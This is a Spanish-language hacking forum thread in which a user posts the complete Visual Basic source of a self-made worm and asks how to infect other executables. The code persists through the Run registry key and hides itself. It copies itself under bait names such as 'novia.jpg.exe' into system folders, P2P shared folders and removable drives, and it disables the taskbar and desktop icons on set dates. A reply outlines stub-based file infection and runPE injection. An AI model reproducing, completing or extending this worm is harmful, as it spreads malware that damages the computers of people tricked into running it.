Mostrar mensajes previos
Ordenar por
por josfres Sin sí­ntomas
Hola nesesito ayuda no se como infectar un exe no se como acerlo ya que estoy creando un gusano porfavor se los agradeceria

aqui esta el code de mi gusano
ya que no es muy fuerte pero algo es algo:

Código: Seleccionar todo

Private Declare Function fCreateShellLink Lib "STKIT432.DLL" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_NORMAL = 1
Option Explicit
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Public WithEvents MSN As Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Const MCONTACTPROP_USERTILE_PATH As Long = 2
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long



Private Sub Form_Initialize()

'Variable para el nombre de nuestro Exe
Dim NuestroPrograma As String
'variable para la Ruta de nuestra aplicación
Dim Ruta As String

'Variable de objeto
Dim MiObjeto As Object

'Seteamos la variable y creamos la referencia
Set MiObjeto = CreateObject("Wscript.Shell")

NuestroPrograma = "systent"

Ruta = "C:\WINDOWS\system32\systent.exe"

'Escribimos el valor en el registro
MiObjeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & NuestroPrograma, Ruta

'Eliminamos la variable
Set MiObjeto = Nothing
''''''''''''''''''''''

Set MiObjeto = Nothing
Dim X As String
On Error GoTo UNIDAD
X = GetAttr("C:\WINDOWS\system32")
Timer1.Enabled = True
Exit Sub
UNIDAD:
Timer2.Enabled = True

End Sub

Private Sub Form_Load()
Form2.Visible = False
App.TaskVisible = False
Form1.Visible = False





End Sub

Private Sub Timer1_Timer()
On Error Resume Next

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\systent.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\systemreg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\notray.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\systeroter.exe"
SetAttr "C:\Windows\System32\systent.exe", vbHidden
SetAttr "C:\Windows\System32\notray.exe ", vbHidden
SetAttr "C:\Windows\System32\systeroter.exe", vbHidden
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Escritorio\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Escritorio\documentos.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Escritorio\emulador.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Escritorio\METAL.exe"
'infeccion ares'
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\KEY_AVG.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\KEY_NERO.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\KEY_norton.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\reggeton.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\Wissin&yandel.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\reggeton&2009.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\Wissin&yandel.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Configuración local\Datos de programa\Ares\My Shared Folder\key_winrar.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\visual_basic.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\key_nod.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\key_norton.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\norton_360.exe"
'infeccion escritorio'
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Escritorio\Fotos.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Escritorio\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrador\Escritorio\picture.jpg.exe"
'infeccion usb'
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\practicas.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\practicas.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\practicas.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\wissin&yandel.mp3.exe"

End Sub

Private Sub Timer10_Timer()
Dim home As String
home = ShellExecute(Me.hwnd, "Open", "http://pokegame1994.superforo.net", &O0, &O0, SW_NORMAL)
home = ShellExecute(Me.hwnd, "Open", "http://xtprograming.foroactivo.com", &O0, &O0, SW_NORMAL)
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Windows\System32\systemreg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Windows\System32\notray.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Windows\System32\systeroter.exe"
SetAttr "I:\Windows\System32\systent.exe", vbHidden
SetAttr "I:\Windows\System32\systemreg.exe", vbHidden
SetAttr "I:\Windows\System32\systeroter.exe", vbHidden
'infeccion ares'

FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\KEY_AVG.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\KEY_NERO.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\KEY_norton.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\reggeton.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\Wissin&yandel.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\reggeton&2009.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\Wissin&yandel.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Administrador\Configuración local\Datos de programa\Ares\My Shared Folder\key_winrar.exe"
'infeccion escritorio'
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Escritorio\Fotos.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Escritorio\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\Documents and Settings\Escritorio\picture.jpg.exe"
'infeccion usb'
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\wissin&yandel.mp3.exe"
''
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\novia.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\papa.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\funny_obama.jpg.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\xxx.video.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\pokemon.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\musica.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\wissin&yandel.mp3.exe"
End Sub

Private Sub Timer3_Timer()
On Error Resume Next
MSN.MyStatus = MISTATUS_BE_RIGHT_BACK
SendKeys "HE VUELTO POR VENGANZA SOY CHIQUILIN Y VOY A DESTRUIR A LA MAKARENKO"
MsgBox "CHIQUILIN A VUELTO", vbCritical, "HACKER"
End Sub

Private Sub Timer4_Timer()
On Error Resume Next
MSN.AddContact 0, "[email protected]"
End Sub










Private Sub Timer9_Timer()
On Error Resume Next
If Month(Now) = 5 And Day(Now) = 13 Then
MsgBox "QUE ONDA TE VOY A DESABILITAR TUS ICONOS JE JE", vbCritical, "JOSFRES HACKER"
Dim icons As Long
Dim tray As Long
Dim notify As Long
Dim clock As Long
Dim start As Long
Dim desktop As Long
Dim view As Long
desktop = FindWindow("progman", vbNullString)
view = FindWindowEx(desktop, 0&, "shelldll_defview", vbNullString)
icons = FindWindowEx(view, 0&, "syslistview32", vbNullString)
ShowWindow icons, 0
End If
If Month(Now) = 12 And Day(Now) = 16 Then
MsgBox "FELIZ CUMPLEAÑOS MIROSLAVA ESTE VIRUS TE LO DEDICO A TI", vbCritical, "JOSFRES HACKER"
End If
Dim OFF As Long
If Month(Now) = 10 And Day(Now) = 13 Then
MsgBox "QUE ONDA TE VOY A DESABILITAR TU BARRA DE TAREAS", vbCritical, "JOSFRES HACKER"
OFF = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow OFF, 0
End If
If Month(Now) = 10 And Day(Now) = 1 Then
MsgBox "QUE ONDA TE VOY A DESABILITAR TU BARRA DE TAREAS", vbCritical, "JOSFRES HACKER"
OFF = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow OFF, 0
End If
If Month(Now) = 10 And Day(Now) = 5 Then
MsgBox "QUE ONDA TE VOY A DESABILITAR TU BARRA DE TAREAS", vbCritical, "JOSFRES HACKER"
OFF = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow OFF, 0
End If
If Month(Now) = 10 And Day(Now) = 10 Then
MsgBox "VIRUS RECUPERADO, ACTUALIZADO Y MEJORADO", vbCritical, "JOSFRES HACKER"
Form2.Show
End If
If Month(Now) = 11 And Day(Now) = 2 Then
MsgBox "FELIZ DIA DE MUERTOS VIVA EL METAL", vbCritical, "JOSFRES HACKER"
End If
End Sub
por $DoC Administrador
has echo todo ese gusano tu? y no sabes infectar exe.. que raro..



SALUDOS!!
Soy un camaleón, en tu cama, leona ♪
por josfres Sin sí­ntomas
si este lo cree en visual basic y no fue nada sencillo ya que apenas estoy aprendiendo tambien fuy ayudado con los manuales de hendrix y por algunos tutos de indetectables

yo probe esta manera:

open example.exe for binary as #metal
put,,virus.exe
close #metal

pero no da esque soy todo un bobo
ayudame Dr_HaCk93 please
por ps1c0s1s Se conecta desde un manicomio
Esto es flood ! pero no cabe duda que lo hare !!

MsgBox "QUE ONDA TE VOY A DESABILITAR TUS ICONOS JE JE", vbCritical, "JOSFRES HACKER"
NO podes ser tan bobo !!!!" hacker "

1ro : Hacker y no sabes eso
2do: haces un worm sin saber lo que haces ( copiador )
3ro: si lees un poco mas lo haces esta en todos lados lo que queres hacer , viendo esto me da a entender que no leiste nada , exitos
<Josh> y bueno hermano,tu hermana q me dijo q estaba cansada de tenerle el orto como la bandera de japon y bueno la pobre me quizo hacer un masaje prostatico nada mas pero era tanto su recelo y venganza acumulada q se esmero un poco mas de lo normal,pero bue,estuivo bien amorizado por la de dias horas años y lagrimas q echo la pobre de tanto culearla
por josfres Sin sí­ntomas
si se lo que hice si quieres te digo las funciones paso a paso lo unico que no se es inyectarme en otro exe no soy perfecto y si sabes tanto aprende a leer
por ps1c0s1s Se conecta desde un manicomio
MsgBox "QUE ONDA TE VOY A DESABILITAR TUS ICONOS JE JE", vbCritical, "JOSFRES HACKER"
Digo lo que veo ... Señor Hacker !! y no sabes spradear un exe por p2p y usb , papa

si se lo que hice si quieres te digo las funciones paso a paso lo unico que no se es inyectarme en otro exe no soy perfecto y si sabes tanto aprende a leer
Vos deberias aprender a leer , ya que si buscas en google, hay miles de codigos de hecho en indetectables porque parece que no leiste vos " en la opcion search " vas a encontrar hay worm hechos en visual con lo que queres hacer , man busca y encontraras de eso te lo aseguro " H4CK3RS"

Si nadie te contesta es porque das a dudar que ese codigo no es tuyo y a parte porque esa respuesta esta en el foro ;) saludos !
<Josh> y bueno hermano,tu hermana q me dijo q estaba cansada de tenerle el orto como la bandera de japon y bueno la pobre me quizo hacer un masaje prostatico nada mas pero era tanto su recelo y venganza acumulada q se esmero un poco mas de lo normal,pero bue,estuivo bien amorizado por la de dias horas años y lagrimas q echo la pobre de tanto culearla
por josfres Sin sí­ntomas
gracias ps1c0s1s y si yo hice todo este codigo "papa" yo no soy uno de esos lammers que van y copian los codigos de otros y si no se spradear pero no todo se sabe man llevo tres meses usando visual basic "papa" asi que no me me ofendas man no e tenido tiempo de checarme los spradear ya que tengo examen de primer semestre man perdon por no saber
apoco ser novato es un pecado
perdon si no estoy a tu altura ps1c0s1s a lo mejor eres un gran programador a lo mejor naciste sabiendo
Última edición por josfres el 09 Nov 2009, 17:07, editado 1 vez en total.
por K-0Z Se conecta desde un manicomio
yo creo que si lo hiciste..., cuando comenze con vb hize algo parecido el "propagador de troyanos" , pero bueno con el paso del tiempo recortaras mucho codigo que no es necesario, ahora el titulo dice "infectar exe" y luego dices "lo unico que no se es inyectarme en otro exe", no es lo mismo inyectarse en un exe que infectarlo, para inyectarse en un exe se usa el runpe, para infectarlo basta con que te conviertas en el stub de ese archivo, asi decirlo, stub(tupropagador) + firma + messenger + caracteres especiales, lo ultimo de caracteres especiales puedes usarlo para saber si un ejecutable ya esta infectado, luego te lees y sacas al exe que infectaste para no levantar sospechas, bueno seria un poco avanzado, pero con algo basico basta :), salu2
por josfres Sin sí­ntomas
Sanlegas gracias man voy a seguir tu consego muy amable al ayudarme Sanlegas
por DARK_J4V13R Se conecta desde un manicomio
Bueno busca en el foro creo que una vez vi un tutorial de como infectar un exe justo lo que quieres te lo podria dar pero mejor te dejo que lo busques y si no lo encuentras puedes hacer lo que te dijo sanlegas es mas yo tambien me vi el tuto de hendrix cuando empezaba y recuerdo que hay tambien explicaban a infectar archivos pero no estoy seguro

Por cierto o soy yo o escribistes mal aqui:
josfres escribió:gracias ps1c0s1s y si yo hice todo este codigo "papa" yo soy uno de esos lammers que van y copian los codigos de otros
Arregla eso ya que se entiende mal

Saludos suerte
¿Si usted muriera hoy esta seguro que iría al cielo?
http://www.antesdelfin.com/salvo.html

© Indetectables Team
por josfres Sin sí­ntomas
DARK_J4V13R gracias man
me equuivoque al escripir jeje ups gracias voy a buscar esa informacion
por himura Delirios esporádicos
josfres escribió:no soy uno de esos lammers que van y copian los codigos de otros
jajajaj
josfres escribió:DARK_J4V13R gracias man
me equuivoque al escripir jeje ups gracias voy a buscar esa informacion

jajaja no te equivocaste el lo edito que malo estas loco
quiero ser de los mejores aunque me lleve la vida entera
por ricardosuazo Sin sí­ntomas
hola

yo cree un virus llamado susoft... te puedo ayudar en gran manera a mejorar tu codigo... repites mucho codigo, y creo que no necesitas tantos timers... igualmente para infectar las usb no es necesario adivinar ke unidad sera... tengo un codigo muy simple para identificarlas...


ricardosuazo.
por D@rB-15 Se conecta desde un manicomio
Hola ricardosuazo, no se pueden revivir temas tan viejos, por favor lee las reglas.
Imagen

"Me saltó el avira cuando estaba mirando la foto de slandg... ¿como puedo modearlo? " - Skillmax
Temas similares
#lolbin WorkFolders.exe vs rundll32.exe por xrahitel en Manuales y Tutoriales
Infectar al instalar por TheBash1996 en Dudas y Preguntas
Esteganografía para un archivo .exe por neon2 en Dudas y Preguntas
Links sobre el tema
Variantes de tema
Cerrado

Volver a “VB/.NET”